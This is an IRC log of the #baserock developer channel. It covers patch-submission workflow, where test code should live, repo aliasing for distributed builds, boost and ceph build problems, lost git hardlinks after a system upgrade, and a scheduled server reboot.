| Krin | "At this time, git send-email is not available in Baserock and it is also not essential that you use it to generate the patches. " | 15:53 |
| persia | Interesting. It isn't in mine either (it could never work for me, so I hadn't tried before). | 15:53 |
| persia | Why isn't it available in Baserock? Why is it the recommended way to submit patches if it isn't? Someone is just being confusing. | 15:53 |
| paulsher1ood | i briefly got it working, and mailed the list how... then it got lost i think. | 15:53 |
| persia | Especially since it appears everyone uses it from the nature of the patches that get submitted. | 15:54 |
| paulsher1ood | i didn't write the wiki instructions | 15:54 |
| * paulsher1ood uses cgit... and never submits series :) | 15:54 | |
| persia | paulsher1ood: I'm not pointing at you. I'm not even going to use `git blame` to find out who I would smite if I did so before calming. I'm just frustrated because Krin has a valid use case and invalid instructions. | 15:54 |
| paulsher1ood | nod | 15:55 |
| persia | Krin: RIght. Ignore that then. | 15:55 |
| bashrc | does Baserock use systemd? | 15:55 |
| persia | Krin: Your branch is one commit ahead of master, right? | 15:55 |
| paulsher1ood | bashrc: oh, yes it does :) | 15:55 |
| persia | bashrc: It can, and most of the reference systems do, including the devel system. | 15:55 |
| Krin | i believe so | 15:55 |
| persia | paulsher1ood: Not for all reference systems (hence the fuss about dropping simple-network-config) | 15:55 |
| * paulsher1ood decides to butt out | 15:56 | |
| persia | Krin: OK. try running `git format-patch -1` and check to make sure that creates one, correct, patch. | 15:56 |
| Krin | it does indeed | 15:57 |
| persia | Excellent. | 15:57 |
| persia | For sending *single* patches, I write a cover letter in an email, and add the git-format-patch generated patch as an inline-attachment (so people's mail readers show it, and they can easily reply). | 15:58 |
| persia | I don't know if this process would work for a patch series as well. | 15:58 |
| Krin | well i'll cross the bridge of patch series when i get to it, for now i will try to e-mail this single patch to the list for review, and look into what licencing i need to put into my code while that is happening | 15:59 |
| persia | Excellent. Thanks for your patience as we discover just how incorrect that page ends up being. | 15:59 |
| paulsher1ood | Krin: assuming this code might be of interest to zk upstream, maybe worth following their lead on licence? | 15:59 |
| Krin | i'm more wanting to thank you for putting up with my incessant whining :) | 16:00 |
| Krin | paulsher1ood, i doubt that the code i have made would be of any use to zk upstream, as it does not alter zk itself. but i will have a look into their licensing | 16:04 |
| paulsher1ood | mybe i steered wrong. is there some use of zookeeper intended for baserock itself? | 16:24 |
| paulsher1ood | (krin's commit message seems to suggest that verifying zookeeper in baserock is of interest) | 16:24 |
| paulsher1ood | (if that's the case, maybe adding this as a baserock/baserock repo on gbo would make sense) | 16:25 |
| persia | I don't like the concept of baserock/baserock repos, and want them to all go away. | 16:26 |
| paulsher1ood | that may be sensible... but where would they go to? | 16:27 |
| persia | Maybe in the special case of code for the core Baserock tooling, but anything beyond that is a slippery slope, and one ends up not working upstream. | 16:27 |
| *** mdunford [~marcdunfo@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Ping timeout: 258 seconds] | 16:29 | |
| persia | You've caught me without a quick answer. | 16:30 |
| persia | To some degree this becomes a workflow question: is it the case that baserock users will usually want to keep software they are actively editing on the same git server they use for their archive curation? | 16:31 |
| paulsher1ood | heh | 16:31 |
| persia | Or do they expect to have a different server. | 16:31 |
| franred | I imagine that we can use that repos to test zookeeper/ can that repository will be converted into a repository to test zookeeper system? - so you can add to a system-tests repository or something similar | 16:32 |
| persia | I think a different server is nice, because I suspect most curation servers will not be public, and in my delusional world, everyone is working on upstream code. | 16:32 |
| paulsher1ood | this is a bit chicken-and-egg... but if someone is using baserock, they'd want to curate baserock stuff as well as the rest of their upstream, i believe | 16:32 |
| persia | But there's also an argument for the same server, so that new updates to branches are quickly available over the entire organisation using the curation system. | 16:32 |
| franred | unless I am wrong and it does something different - I haven't look at the repo intensively | 16:33 |
| paulsher1ood | i don't see the need for namespaces, particularly, but others may | 16:33 |
| persia | franred: So, there's two different pieces: 1) code that can do things that generate test results, and 2) code that causes systems to generate test resuts. I assert that 1) belongs in regular chunks, and 2) belongs in some system-tests repo, to be better defined when Mason 3.0 is available. | 16:34 |
| franred | persia, so both are testing in my point of view because zookeeper can run without them, both should belong to a test-repo, and part of them will be use at build time, part at integration time and both at run time | 16:39 |
| franred | on my point of view ^^ | 16:39 |
| paulsher1ood | i'm interested because there's a separate discussion in genivi about automated testing of genivi systems... and maybe it would benefit us, them and others to consider where this stuff should end up | 16:43 |
| persia | franred: I don't want to clutter a system-test repo with stuff that needs to be installed on systems. I generally prefer separation of code that does things and code that verifies it does the right thing. Ideally these bits of code are written by entirely different people. | 16:45 |
| *** mdunford [~marcdunfo@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 16:45 | |
| persia | Mind you, chunks that are *only* test code usually are not very interesting. Better to have them do something that can be externally validated in some useful way. | 16:45 |
| *** genii [~quassel@ubuntu/member/genii] has joined #baserock | 16:46 | |
| franred | ummm, the code which generates test results are testing and if it needs to be build in build time you may need to add to a chunk - not sure how to strip them for production systems but you can always create a test system with the testing chunks on it and other without them | 16:55 |
| *** zoli_ [~zoli_@linaro/zoli] has quit [Remote host closed the connection] | 16:56 | |
| *** zoli_ [~zoli_@linaro/zoli] has joined #baserock | 16:56 | |
| franred | persia, I may be missing something or Im not in the same page as you | 16:57 |
| *** zoli_ [~zoli_@linaro/zoli] has quit [Remote host closed the connection] | 17:00 | |
| *** zoli_ [~zoli_@linaro/zoli] has joined #baserock | 17:00 | |
| persia | franred: In my ideal scenario, there is no code in a target system that is not required for the target system operation. | 17:03 |
| persia | With such a model, no tests are encoded as chunks. | 17:03 |
| persia | There may be code that is used to demonstrate that features work, as stubs for larger components. These would be implemented as chunks. | 17:04 |
| persia | And some remote test harness would be used to demonstrate the resulting target system works. | 17:04 |
| persia | I may not be understanding the nature of the tests in question. | 17:04 |
| franred | I like that model, but talking about the actual case scenario: where do you suggest to add the "1) code that can do things that generate test results" part of the zookeeper lorry repository? | 17:07 |
| persia | I understood that to be stub code for some other feature that is not current available. | 17:09 |
| persia | As such, I'd expect it to be chunks, that went into systems, so a normal lorry. | 17:10 |
| persia | If someone believes it to be test orchestration code, then it ought be set up so that Mason can consume it and report the results | 17:10 |
| * persia has no idea how to do that | 17:10 | |
| persia | richard_maw: Thank you for correcting my YAML, but I am left with a lack of understanding of how my proposal differs from your thoughts, or what you think of my suggestions. | 17:18 |
| *** mdunford [~marcdunfo@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Ping timeout: 245 seconds] | 17:18 | |
| persia | Are your non-YAML responses essentially those starting "Frankly", and the sections at the end? | 17:19 |
| richard_maw | there's also a bit before saying that I've been swayed by the idea of looking up artifacts by name, rather than path to the file they are defined in | 17:20 |
| persia | Ah, OK. Thanks. | 17:21 |
| richard_maw | I like your proposals, and I applaud thinking about how it should be represented interface-first. I feel I've made too many mistakes with the format by thinking more about how I can mutate the current layout to do what we want. | 17:23 |
| ssam2 | I still cannot get Gerrit to allow Lorry to push tags :( | 17:23 |
| ssam2 | it can push branches, but not tags | 17:24 |
| persia | I don't think Gerrit is a good choice of git server for a curated archive, but don't know how to get out of the trove limitations. | 17:24 |
| jmacs | Why do we have "boost" and "boost-tarball" in g.b.o.? | 17:28 |
| jmacs | pdar: might know this ^ | 17:28 |
| richard_maw | AIUI there was an aborted git import of boost, because they were in the middle of splitting up all their components into separate repos, leaving "boost" being a forest of submodules | 17:29 |
| pdar | jmacs: what richard_maw said | 17:31 |
| ssam2 | persia: I don't understand how Gerrit can be useful for Baserock without having a mirror of the curated archive | 17:31 |
| jmacs | boost appears more recent than boot-tarball though | 17:31 |
| jmacs | boost-tarball | 17:31 |
| persia | ssam2: By providing a patch tracker for the small number of git repos for which Baserock is upsstream, to my mind. | 17:32 |
| ssam2 | persia: so if I want to Mason to test a change to Busybox in the context of a Baserock system, how to I do that ? | 17:32 |
| ssam2 | if there's no delta/busybox repo ? | 17:32 |
| persia | Because you need a definitions change to point to a new ref of busybox, you're testing definitions, not busybox. | 17:33 |
| ssam2 | hmm. that's a good point. | 17:33 |
| SotK | makes distbuilding "fun" though | 17:34 |
| persia | There needs to be a curated archive server, because without that upstream could decide to go home and make everyone unhappy, but definitions.git doesn't have to live there. | 17:34 |
| SotK | since you need to point it to one place for definitions and another for the rest of everything | 17:34 |
| ssam2 | SotK: that's possible already, with the correct 'repo-alias' setting on the distbuild nodes | 17:35 |
| persia | Isn't that how cache.baserock.org works? | 17:37 |
| SotK | persia: cache.baserock.org is used for its artifact cache, not its git cache AIUI | 17:39 |
| pdar | jmacs: Hmm, looking at the boost-tarball lorry file, it seems the version 1_56 is specified specifically. Perhaps it should be updated to boost_1_57? | 17:43 |
| jmacs | I think so | 17:44 |
| jmacs | I'm at the stage now where I need ceph to build, and I'm running into the problem with boost versions | 17:44 |
| pdar | jmacs: in terms of getting ceph to build I started using boost 1_56 and the builds worked, but it might be worth updating the boost-tarball on g.b.o too? | 17:47 |
| jmacs | As in the tag boost_1.56.0, or did you mean with doffm's fixes rebased onto 1_56? | 17:48 |
| persia | SotK: Ah. I thought local git cache was required for distbuild, but perhaps I am misunderstanding. | 17:49 |
| pedroalvarez | we are using the cache.baserock.org gits for the armv7 distbuild | 17:50 |
| persia | Are we using the repo-alias setting on the distbuild nodes? | 17:51 |
| pedroalvarez | the default repo-alias is generated using the TROVE_HOST value from morph.conf IIRC | 17:52 |
| pdar | jmacs: I think the tag boost_1.56.0 | 17:54 |
| ssam2 | persia: I think the problem SotK was alluding to is the case where baserock/ repos are on one server and delta/ repos are on another | 17:55 |
| jmacs | pdar: That didn't build for me either unfortunately | 17:55 |
| ssam2 | persia: currently all distbuild deployments assume all git repos are on the same server | 17:55 |
| ssam2 | persia: but, the baserock: and upstream: repo-aliases can be configured to point to different servers, so I don't think this would be a serious problem | 17:56 |
| pdar | jmacs: what error did you get? | 17:56 |
| ssam2 | persia: I'm ignoring the fact that 'repo' can point to any URL in my statements above | 17:56 |
| jmacs | pdar: " undefined reference to `std::basic_ostream<char, std::char_traits<char> >& boost ...." | 17:56 |
| persia | ssam2: I finally understand the nature of the issue. It is that distbuild needs to get the definitions one pushed to a trove, rather than using the values from the local environment. Apologies for being slow about this. | 17:56 |
| pdar | jmacs: Is that when its buildnig boost or building ceph? | 17:59 |
| jmacs | pdar: ceph. | 17:59 |
| jmacs | Sorry, I'm confusing the issue: boost built correctly off 1_56_0, then I had problems building ceph. | 18:00 |
| * pedroalvarez discovers that /usr/libexec/git-core is 1000M+ | 18:00 | |
| *** bashrc [~motters@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Quit: Lost terminal] | 18:00 | |
| pdar | jmacs: ok, thats what I found too. then the version of ceph needs to be updated too. | 18:00 |
| * richard_maw raises eyebrows at pedroalvarez | 18:01 | |
| *** mariaderidder [~maria@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Quit: Ex-Chat] | 18:01 | |
| richard_maw | are you _sure_ you have the units right there? | 18:01 |
| *** Krin [~mikesmith@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Remote host closed the connection] | 18:01 | |
| pedroalvarez | richard_maw: http://paste.baserock.org/evuxeqawux | 18:02 |
| pdar | jmacs: but Im unsure what a safe version to try and use might be. | 18:02 |
| richard_maw | pedroalvarez: most of those are probably hardlinks to the same binary | 18:03 |
| richard_maw | try statting git and git-add | 18:03 |
| jmacs | pdar: OK, I may as well just try the most recent tag | 18:03 |
| *** CTtpollard [~tom@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Quit: Ex-Chat] | 18:04 | |
| pedroalvarez | richard_maw: http://paste.baserock.org/ivedovulow | 18:05 |
| pdar | jmacs: I can push my definitions repo for you so you can see where Im up to with getting ceph v0.88 to behave | 18:05 |
| richard_maw | pedroalvarez: eep, somewhere they used to be hardlinks, but something lost that | 18:06 |
| jmacs | pdar: Might be handy, probably won't be able to test it today though | 18:06 |
| * richard_maw suspects the rsync part of ssh-rsync | 18:06 | |
| pedroalvarez | maybe, is an upgraded system | 18:06 |
| ssam2 | good find, if so! | 18:06 |
| richard_maw | sadly, tbdiff would have also failed us here, since we never got around to hardlink tracking | 18:07 |
| pdar | jmacs: I started my last build at the end of standup and its still not done... | 18:07 |
| richard_maw | bedup is probably a useful thing to use here then | 18:07 |
| pedroalvarez | heh, this folder should be smaller than 20M I expect | 18:08 |
| richard_maw | this probably explains some of paulsherwood's problems when upgrading | 18:09 |
| richard_maw | barring using btrfs-send and btrfs-receive, the only thing I can suggest for making this work better is to run bedup on the new snapshot after rsyncing it over | 18:09 |
| ssam2 | reminder: git.baserock.org will be rebooted at 18:30 for an OS upgrade | 18:11 |
| *** tiagogomes [~tiagogome@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Quit: Leaving] | 18:13 | |
| persia | ssam2: To confirm, that is in about 15 minutes? | 18:16 |
| * persia encourages the use of timezones, but appreciates the use of UTC in the absence of timezones | 18:16 | |
| pdar | jmacs: Heres my current set of definitions, they should build ceph v0.88, but commands give unusual output: https://github.com/padrigali/definitions/tree/pd | 18:16 |
| pdar | jmacs: hope that helps! | 18:16 |
| jmacs | Cool, cheers | 18:19 |
| ssam2 | persia: yes, sorry | 18:20 |
| persia | No worries. I try to keep track of folks timezones, but sometimes I fail, so like to check. | 18:21 |
| richard_maw | I failed to get as far as reviewing Richard Ipsum's patches today :-( | 18:23 |
| ssam2 | It is time. | 18:30 |
| *** Guest50428 [~mike@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Quit: Leaving] | 18:40 | |
| *** franred [~franred@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Quit: Leaving] | 18:44 | |
| ssam2 | git.baserock.org should be back now | 19:12 |
| persia | Excellent. Thank you. | 19:13 |
| ssam2 | it will be down around the same time tomorrow night, as the VM host it is on will be rebooted | 19:14 |
| persia | For about the same period of time? | 19:14 |
| ssam2 | I don't know | 19:15 |
| ssam2 | I need to do further maintenance to git.baserock.org, too. I'll try to do it in the same window of time. | 19:15 |
| persia | Good luck. During a VM host reboot seems an awkward window. | 19:15 |
| ssam2 | well, I hope to do it after / before rather than during | 19:18 |
| persia | heh :) | 19:19 |
| paulsher1ood | gbo seems to be fine, from here :) | 19:30 |
| *** zoli_ [~zoli_@linaro/zoli] has quit [Remote host closed the connection] | 19:44 | |
| *** zoli_ [~zoli_@linaro/zoli] has joined #baserock | 19:45 | |
| *** ssam2 [~ssam2@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Quit: Leaving] | 19:50 | |
| *** mdunford [~marcdunfo@82-70-136-246.dsl.in-addr.zen.co.uk] has joined #baserock | 19:59 | |
| *** mdunford [~marcdunfo@82-70-136-246.dsl.in-addr.zen.co.uk] has quit [Ping timeout: 244 seconds] | 20:36 | |
| *** zoli_ [~zoli_@linaro/zoli] has quit [Remote host closed the connection] | 20:48 | |
Generated by irclog2html.py 2.15.3 by Marius Gedminas - find it at mg.pov.lt!